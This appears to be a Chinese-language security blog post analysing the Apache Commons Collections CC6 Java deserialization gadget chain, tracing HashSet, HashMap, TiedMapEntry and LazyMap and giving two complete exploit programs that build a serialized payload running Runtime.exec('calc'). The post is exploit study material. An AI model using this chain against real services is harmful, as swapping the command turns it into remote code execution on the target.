WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

CommonsCollection6

0x01 调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

by @matthias_kaiser
*/

0x02 代码分析

CC6和CC5很像,在CC5的toString()方法里调用了getValue()方法

在TiedMapEntry类的hashCode()方法里也有getValue()方法

所以只需要找到一个在readObject里面调用hashCode()方法的类就可以得到新的链了

在URLDNS里面其实就用到了HashMap里的hash方法调用hashCode(),所以这条链直接使用HashMap的当作入口点也是没问题的

在ysoserial里面把HashSet当作了入口点,先看下HashSet然后再来看HashMap

HashSet

在HashSet的readObject方法最下面有map.put

这里的map需要为HashMap不过不用反射修改

因为在属性定义的map就是HashMap

1
private transient HashMap<E,Object> map;

后面都和URLDNS很像

1
2
3
4
5
6
7
8
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

往下看发现是key调用hashCode方法

上面的e需要为TiedMapEntry

在图中可以看出是通过循环把HashSet的元素都恢复,需要在HashSet里添加元素,然后恢复的时候元素就会被当作参数e传进put方法

所以在序列化的时候在HashSet添加TiedMapEntry元素就行

下面看TiedMapEntry的hashCode方法

里面调用了getValue()方法

后面就和CC5一样了就不继续往下看了

写EXP的时候有一点需要注意,上面说了需要在HashSet里添加TiedMapEntry,这里需要看下添加的过程

HashSet使用add方法添加元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
   public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
//add又调用了map的put方法,在这里map是HashMap

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
//调用了hash方法

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
//调用了key的hashCode()方法

//这里的key是tiedMapEntry
//接下来就是调用getValue()方法,然后调用lazyMap的get方法
//这些都是在CC5里面写过的就不贴了

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

//上面是lazyMap的get方法,注意这是序列化的时候,在调用add会经过上面的过程
//map.containsKey(key)在判断没有key后会将key和value再次put进map里
//这时候的map是LazyMap,在添加结束后序列化出来的LazyMap自带这个key导致反序列化时走到这里时LazyMap已经有值走不进这个判断,所以要在序列化之前把这个值删除

来看看这个key是怎么来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//下面是创建TiedMapEntry的方法
TiedMapEntry entry = new TiedMapEntry(lazyMap, "aaa");

//下面是TiedMapEntry的构造方法
//将map和key保存到属性中
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getValue() {
return map.get(key);
}
//这是TiedMapEntry的getValue方法,map.get(key)的key为TiedMapEntry的属性
//所以传到map.containsKey(key)的key是"aaa"
//就是实例化TiedMapEntry时写入的key

来运行看看

可以看到在add后LazyMap加了一个元素

所以需要把这个元素移除

1
lazyMap.remove("aaa");

这样在反序列化的时候就不会走不到判断了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }),
};

Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap(1);
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
//上面基本CC5一样

HashSet<Object> map = new HashSet();
//创建HashSet
map.add(tiedMapEntry);
//在HashSet内添加tiedMapEntry元素
lazyMap.remove("aaa");
//在lazyMap移除aaa元素

Class transformerChainClass = transformerChain.getClass();
Field transformerChainClassField = transformerChainClass.getDeclaredField("iTransformers");
transformerChainClassField.setAccessible(true);
transformerChainClassField.set(transformerChain, transformers);
//反射修改iTransformers,让命令执行不在序列化之前触发
//如果不修改则会在add的时候触发

serialize(map);
unserialize("ser6.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser6.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

基本和CC5类似,除了需要移除一个元素,还有反序列化的入口点不同

接下来看一下HashMap,只能说比HashSet还要简单

HashMap

如果以HashMap为入口,

在HashMap的readObject方法中最后直接有调用hash的方法

不过HashMap是键值对,这里是对key用hash

所以tiedMapEntry需要填在HashMap的key里

HashMap使用put添加元素

别的基本都一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

Map innerMap = new HashMap(1);

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

//除了这里不一样别的都一样
HashMap<Object, Object> map = new HashMap<>();
//使用put添加键值对,tiedMapEntry要放在key中
map.put(tiedMapEntry, "bbb");
//同上需要移除
lazyMap.remove("aaa");

Class transformerChainClass = transformerChain.getClass();
Field transformerChainClassField = transformerChainClass.getDeclaredField("iTransformers");
transformerChainClassField.setAccessible(true);
transformerChainClassField.set(transformerChain, transformers);

serialize(map);
unserialize("ser6.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser6.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

到这里CC6就分析结束了

好像说这是所有CC里面最好用的一条链,因为HashMap当入口点JAVA版本都支持,像CC5的BadAttributeValueExpException类在8u76前是没有readObject方法的

不能当入口点